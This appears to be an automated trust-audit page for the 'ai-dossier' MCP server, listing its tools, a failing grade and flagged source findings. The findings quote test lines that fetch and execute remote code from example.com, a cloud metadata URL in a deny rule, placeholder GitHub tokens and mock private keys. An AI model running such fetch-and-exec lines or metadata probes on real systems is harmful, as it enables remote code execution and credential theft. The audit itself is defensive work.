ai-dossierBLOCK
An open standard for signed, versioned agent skills. Model-driven orchestration with a deterministic shell — host anywhere, verify who wrote it. CLI, registry, MCP, VS Code.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
An open standard for signed, versioned agent skills, built for model-driven orchestration: the model reads the skill and decides the steps, and Dossier makes that safe to share and repeat with signed agent skills. Host skills anywhere — a GitHub repo, your own server, or the Dossier registry — and everyone installs the same version and can verify who wrote it and that it wasn't changed. Website
[](https://github.com/imboard-ai/ai-dossier/actions/workflows/ci.yml) [](https://github.com/imboard-ai/ai-dossier/actions/workflows/test-examples.yml) [](https://www.npmjs.com/package/@ai-dossier/cli) [](https://www.npmjs.com/package/@ai-dossier/cli) [](LICENSE) [](docs/reference/README.md) [](mcp-server) [](docs/explanation/security-model.md) [](https://github.com/imboard-ai/ai-dossier)
Quick Concept A dossier is an agent skill with a version and a signature (a .ds.md file). Copying skill files between machines and teammates works, until nobody knows which version is running or who changed it. Dossier gives every skill a pinned version and an Ed25519 signature, so everyone installs the same thing and can verify who wrote it and that it wasn't changed. Like an npm package, a dossier works4c2f9fdb5e1fOBSERVED · 2026-10-10Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mcp-server -- npx -y @ai-dossier/[email protected]
Exposed tools (35)
29 read · 6 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
cancel_journey | read | Cancel an active journey session. Returns a summary of what completed before cancellation. |
category | read | Category (e.g., devops, authoring) |
create-dossier | write | Author a new dossier with proper structure |
deploy | write | Deploys the service. |
deploy-app | write | Deploy to production |
dossier_path | read | Path or URL to the dossier file |
execute-dossier | write | Run a dossier with verification and protocol. Automatically chooses single-dossier or multi-dossier journey flow based on relationships. |
execute-journey | write | Guide the LLM through a multi-step dossier journey: resolve, verify, present plan, execute steps in order, collect outputs. |
fail-dossier | read | will fail content fetch |
get_journey_status | read | Get the current state of a journey session: completed steps, current step, remaining steps, and collected outputs. |
good-name | read | Does a thing. |
graph_id | read | ID of a previously resolved graph (from resolve_graph) |
kinds | read | every kind |
list_dossiers | read | Discover available dossiers in a directory. Scans for *.ds.md files and returns metadata. |
my-dossier | read | Do it |
my-skill | read | d |
n | read | d |
other-dossier | read | Another |
pr-review | read | Review the current PR diff. |
propose_action | read | Propose one bounded action to the controller; never grants authority. |
read_dossier | read | Read and parse a dossier file. Returns metadata and content. Should be called AFTER verify_dossier passes. |
report_decision | read | Return decision data only; this function cannot take any action. |
resolve_graph | read | Resolve a dossier dependency graph into an execution plan. Reads relationships (preceded_by, followed_by, conflicts_with) and produces a DAG with ordered phases, parallel groups, and conflict detection. |
risk_level | read | Risk level: low, medium, high, critical |
search_dossiers | read | Search the dossier registry for available dossiers by keyword. Returns matching dossiers with metadata. |
setup-db | read | Initialize database |
spec-dossier | read | Exercises the spec shape in the editor. |
start_journey | write | Start a journey session from a resolved and verified graph. Creates a session, returns the first step |
step_complete | read | Mark the current journey step as complete or failed. Advances to the next step and returns its dossier content with injected context from previous outputs. Returns a summary when the last step completes or a step fails. |
test | read | test dossier |
test-dossier | read | A test |
title | read | Title for the new dossier |
verify_dossier | read | Security verification - Verify integrity (checksum) and authenticity (signature) of a dossier. Returns pass/fail with stage details. |
verify_graph | read | Batch security verification for a dossier dependency graph. Verifies all dossiers in a resolved graph and returns an aggregate security report with per-dossier breakdown and overall recommendation. |
x | read | d |
Trust audit
BLOCKgrade F · trust 46/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | FAIL |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (9 observation(s))
- Shell
- declared (3 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
-----BEGIN PRIVATE KEY-----
signing-payload.ts
{ id: 'metadata-address', url: 'http://169.254.169.254/latest/meta-data/', expect: 'deny' },const secret = 'ghp_012345678901234567890123456789012345';
handoffMarker({ ...prIntent, target: 'up/proj ghp_abcdefghijklmnopqrstuvwxyz0123456789' })expect(() => a.releaseKillSwitch('ghp_abcdefghijklmnopqrstuvwxyz0123456789')).toThrow(throw new VmCleanupError([], ['/tmp/ghp_abcdefghijklmnopqrstuvwxyz0123456789']);
const secret = 'ghp_012345678901234567890123456789012345';
pip('pkg @ https://user:ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@host/pkg.whl\n'),.mockReturnValue('-----BEGIN PRIVATE KEY-----\nmock\n-----END PRIVATE KEY-----\n'),privateKey: '-----BEGIN PRIVATE KEY-----\nnot a key\n-----END PRIVATE KEY-----',
privateKey: '-----BEGIN PRIVATE KEY-----\nnot a key\n-----END PRIVATE KEY-----',
.vscodeignore
signing-payload.test.ts
['py', 'exec(requests.get("https://example.com/x").text)', 'exec'],['js', "eval(await (await fetch('https://example.com/x.js')).text());", 'eval'],file === 'git' && args[0] === 'fetch' ? null : exec(file, args, cwd);
const out = exec(file, args, cwd);
return exec(file, args, cwd);
createHash('sha1')const originalPolicySha = createHash('sha1'): createHash('sha1')const digest = createHash('sha1')const sha = createHash('sha1').update(`blob ${bytes.length}\0`).update(bytes).digest('hex');'id_rsa',
Gates applied: critical_finding, no_behavioural_pass.
4c2f9fdb5e1ffull audit observations/trust-audit/mcp-server/imboard-ai__ai-dossier.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-10 | 4c2f9fdb5e1f | BLOCK | F | 46 | first audit |
Questions
What is the ai-dossier MCP server?
An open standard for signed, versioned agent skills. Model-driven orchestration with a deterministic shell — host anywhere, verify who wrote it. CLI, registry, MCP, VS Code.
What tools does ai-dossier expose?
35 in total: 29 read-only, 6 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is ai-dossier safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (46/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does ai-dossier need?
It reads BINDING_APP_KEY, BINDING_APP_SECRET, DOSSIER_REGISTRY_TOKEN, DOSSIER_TRACE_TOKEN, GITHUB_BOT_TOKEN, GITHUB_CLIENT_SECRET, GITHUB_TOKEN, JWT_SECRET, NPM_TOKEN and SECRET from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does ai-dossier run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as @ai-dossier/website at 0.0.0.
How current is this page?
The grade is for one exact copy of the source (4c2f9fdb5e1f), read on 2026-10-10. The repository is watched and re-audited when it changes.